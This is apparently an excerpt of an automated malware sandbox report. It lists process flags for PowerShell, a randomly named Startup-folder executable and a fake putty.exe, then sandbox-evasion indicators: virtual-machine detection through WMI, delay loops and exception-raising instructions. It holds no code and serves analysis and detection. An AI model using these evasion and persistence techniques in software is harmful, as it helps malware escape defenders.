Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: OutputDebugStringW count: 112
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Section loaded: OutputDebugStringW count: 112
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Section loaded: OutputDebugStringW count: 112
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Section loaded: OutputDebugStringW count: 112

Tries to evade analysis by execution special instruction which cause usermode exception

Show sources

Source: C:\Windows\SysWOW64\WerFault.exe	Special instruction interceptor: First address: 000000006A2B66FA instructions 0FC7C8 caused by: Known instruction #UD exception
Source: C:\Windows\SysWOW64\WerFault.exe	Special instruction interceptor: First address: 000000006A1666FA instructions 0FC7C8 caused by: Known instruction #UD exception

